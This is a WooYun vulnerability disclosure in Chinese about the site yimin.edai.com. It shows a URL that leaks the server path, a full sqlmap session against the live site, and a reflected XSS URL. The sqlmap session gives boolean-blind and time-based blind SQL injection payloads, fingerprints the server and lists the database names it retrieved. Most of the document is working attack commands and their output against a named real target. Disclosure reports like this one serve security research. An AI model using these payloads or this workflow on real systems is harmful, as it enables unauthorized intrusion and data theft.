WooYun: 易贷网某站点存在SQL注入漏洞(管理员MD5可解密) 这个漏洞的sql注入没有修复。 http://yimin.edai.com/order.php?orderby=immigrate%27 这里暴路径 Fatal error: Call to undefined method cpage::onimmigrate'() in E:\home\LocalUser\582798\www\include\port.php on line 42 sql注入
C:\Python27\sqlmap>sqlmap.py -u "http://yimin.edai.com/abroad.php?act=list&count ry=9&classid=16*" --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150823} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 15:00:48 custom injection marking character ('*') found in option '-u'. Do you want to pr ocess it? [Y/n/q] y [15:00:49] [INFO] resuming back-end DBMS 'mysql' [15:00:49] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://yimin.edai.com:80/abroad.php?act=list&country=9&classid=16) AND 2708=2708 AND (8737=8737 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: http://yimin.edai.com:80/abroad.php?act=list&country=9&classid=16) AND (SELECT * FROM (SELECT(SLEEP(5)))coCb) AND (2958=2958 --- [15:00:50] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2008 R2 or 7 web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.29 back-end DBMS: MySQL 5.0.12 [15:00:50] [INFO] fetching database names [15:00:50] [INFO] fetching number of databases [15:00:50] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [15:00:50] [INFO] retrieved: [15:00:50] [WARNING] reflective value(s) found and filtering out 2 [15:00:52] [INFO] retrieved: information_schema [15:01:34] [INFO] retrieved: s582798db0 available databases [2]: [*] information_schema [*] s582798db0
反射Xss http://yimin.edai.com/abroad.php?act=%22%3E%3Cimg%20src=x%20onerror=alert%281%29%3E \ 很多类似的xss和暴路径就不多说了。